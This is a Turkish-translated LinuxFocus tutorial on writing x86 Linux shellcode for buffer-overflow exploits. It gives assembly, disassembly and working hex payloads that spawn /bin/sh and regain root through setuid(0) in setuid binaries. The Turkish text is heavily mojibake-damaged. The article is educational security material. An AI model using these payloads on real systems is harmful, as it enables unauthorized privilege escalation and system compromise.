Kabuk kodu genellikle savunmas� zor program�n komut sat�r� �zerinden arguman ile bir �evre de�i�keni veya yaz�lm�� bir string ile yerle�tirilebilir.Herneyse, kabuk kodu olu�turuldu�unda kullanaca�� adresi bilmiyoruz.Bununla birlikte "/bin/sh" string'inin adresini bilmemiz gerekmektedir.K���k bir oyun bunu ��renmemizi sa�layabilir.

call talimat�n� �a��r�rken CPU geri d�n�� adresini y���tta saklar ve bu adres call talimat�n� takip eder. Genellikle, bir sonraki ad�m y���t b�l�m�nde saklanmaktad�r (�zellikle %ebp kayd� ile birlikte push %ebptalimat�) Geri d�n�� adresini almak i�in subroutine i�ine girildi�inde pop talimat�n�n y���t halinden ��kar�lmas� yeterlidir.Elbette "/bin/sh" string'ini saklamam�z gereklidir :

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Shellcode itself)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

Elbette subroutine ger�ek de�ildir: execve() �a�r�s� ba�ar�r ve uygulama kabukla yer de�i�tirir veya ba�ar�s�zl��a u�rar ve _exit() fonksiyonu program� sonland�r�r. %esi kayd� bize "/bin/sh" string adresini verir.Daha sonra bir array in�a etmek string'ten sonra getirmekle m�mk�nd�r :

     popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

6 diyagram� veri alan�n� g�sterir :

Diag. 6 : data array
data area
 

Null bytes problemi

Savunulmas� zor fonksiyonlar genellikle string y�netimi ile ilgili olanlar �rne�in strcpy()'dir.Hedef uygulaman�n tam ortas�na kodu yerle�tirmek i�in kabuk kodu string �eklinde kopya edilmesi gereklidir.Bununla birlikte bu kopyalar null karakterini bulur bulmaz hemen duracakt�r.Daha sonra bizim kodumuz olmayacakt�r.Birka� oyun kullanarak null byte'lar�n� yazmay� engelleyebiliriz.�rne�in talimat

    movl $0x00, 0x0c(%esi)

will be replaced with
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

Bu �rnek null byte'�n�n kullan�l���n� g�steriyor.Bununla birlikte baz� talimatlar�n heksedesimale �evirileri ortaya ��kmaktad�r.�rne�in _exit(0) sistem �a�r�s� ve di�erleri aras�nda ayr�m yapmakm i�in %eax kay�t de�erinin 1 olmas� gereklidir.

Di�er yandan "/bin/sh" string'i null byte ile son bulmas� gerekmektedir.Biz kabuk kodunu olu�tururken bir tane koyabiliriz fakat bu program�n i�ine konacak mekanizmaya ba�l�d�r.Bu null byte son uygulamada g�r�nmeyebilir :

    /* movb only works on one byte */
    /* this instruction is equivalent to */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

 

Kabuk kodunun in�aas�

�imdi kabuk kodunu olu�turmak i�in her�eye sahibiz :

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Getting /bin/sh address*/
        popl %esi
    /* Writing it as first item in the array */
        movl %esi,0x8(%esi)
    /* Writing NULL as second item in the array */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Putting the null byte at the end of the string */
        movb %eax,0x7(%esi)
    /* execve() function */
        movb $0xb,%al
    /* String to execute in %ebx */
        movl %esi, %ebx
    /* Array arguments in %ecx */
        leal 0x8(%esi),%ecx
    /* Array environment in %edx */
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

"gcc -o shellcode4 shellcode4.c" ile kod derlenir. "objdump --disassemble shellcode4" komutu yard�m�yla bizim binary'imiz (ikili taban�m�z) daha fazla null byte tutmazlar :

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

Veri 80483c1 adresinden sonra gelir ve talimatlar� ifade etmez, fakat "/bin/sh" string karakterleri (in hexadécimal, s�ra 2f 62 69 6e 2f 73 68 00)ve rasgele byte'lar.Kod ba�ka s�f�r tutmaz sadece null karakterini tutar string'in sonunda 80483c8.

�imdi program�m�z� test edelim :

$ ./shellcode4
Segmentation fault (core dumped)
$

Ooops!�ok iyi bir sonu� de�il.E�er bit �eklinde d���n�rsek haf�za alan�n�ndaki main() fonksiyonu buluruz.(�rne�in text alan�ndan bahsedildimakalenin ba��nda) sadece-oku.Kabuk kodu bunu de�i�tiremez.Ne yaapabiliriz kabuk kodunu test etmek i�in?Sadece-oku problemini ��zmek i�in kabuk kodu veri alan�na konulmas� gereklidir. Gelin bir array koyal�m global de�i�ken gibi davranan.Bir ba�ka oyun da kabuk kodunu �al��t�rabilsin main() fonksiyonu ile y���tta bulunan geri d�n���m adresini de�i�tirelim.Unutmay�n ki main fonksiyonu bir "standard" rutindirve kodun bir par�as� olarak tan�mlan�r.Geri d�n�� adresi karakterlerin array'leri y���t�n en alt�nda yer ald��� zaman tekrar yaz�l�r.

   /*
shellcode5.c */
  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

Now, we can test our shellcode :

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

Hatta shellcode5 program�n� da y�kleyelim.UID root kural�m ve kabu�u dataileb kontrol edelim :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

 

Genelleme ve son ayr�nt�lar

Bu kabuk kodu bir bak�mdan s�n�rl�d�r (evet, k�t� de�il biraz byte ile).�rne�in,test program�m�z ��yle olursa :

   /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
uygulaman�n UID etkilerini sabitledik daha �nceki makalede belirtti�imiz gibi.�imdi kabuk ayr�cal�ks�z �al��abilir :
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

Bununla birlikte seteuid(getuid()) talimat� koruma i�in �ok etkili de�ildir. setuid(0); kayd� kabuk kodunun ba�lang�c�na e�tir do�ru linkleri EUID'ye almak i�in :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

Bunu bizim daha �nceki kabuk koduna indirgedi�imizde �rne�imiz :
  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
�imdi nas�l �al��t���n� kontrol edelim :
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

Son �rnekte g�r�ld��� gibi kabu�a fonksiyon eklemek m�mk�nd�r. ,�rne�in dizinden ��kmak i�in chroot() fonksiyonu kullanmak gereklidir veye soket kullanarak uzaktan kabu�a ula�mak gereklidir.

Bu tip de�i�iklikler bazen baz� byte'lar�n de�erine adapte olmay� ima eder. :

eb XX <subroutine_call> XX = number of bytes to reach <subroutine_call>
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = position of the second item in the array, here, having a NULL value.
88 46 XX movb %al,XX(%esi) XX = position of the end of string '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = offset to reach the first item in the argument array and to put it in the %ecx register
8d 56 XX leal XX(%esi),%edx XX = offset to reach the second item in the argument array and to put it in the %edx register
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian)
 

Sonu�

Yakla��k 40 byte program yazd�k ve bunlar harici komutlarla �al��abilirler. Son �rneklerimiz y���tlar�n nas�l par�alanabildi�i konusunda fikir vermektedirler.Bu mekanizma �zerindeki ayr�nt�lar bir sonraki makalede yer almaktad�r...

 

Bu yaz� i�in g�r�� bildiriminde bulunabilirsiniz

Her yaz� kendi g�r�� bildirim sayfas�na sahiptir. Bu sayfaya yorumlar�n�z� yazabilir ve di�er okuyucular�n yorumlar�na bakabilirsiniz.
 talkback page 

G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Buray� klikleyerek hatalar� rapor edebilir ya da yorumlar�n�z� LinuxFocus'a g�nderebilirsiniz
�eviri bilgisi:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en GeorgesTarbouriech
en -> tr Co�kun Demirbo�a

2001-03-17, generated by lfparser version 2.9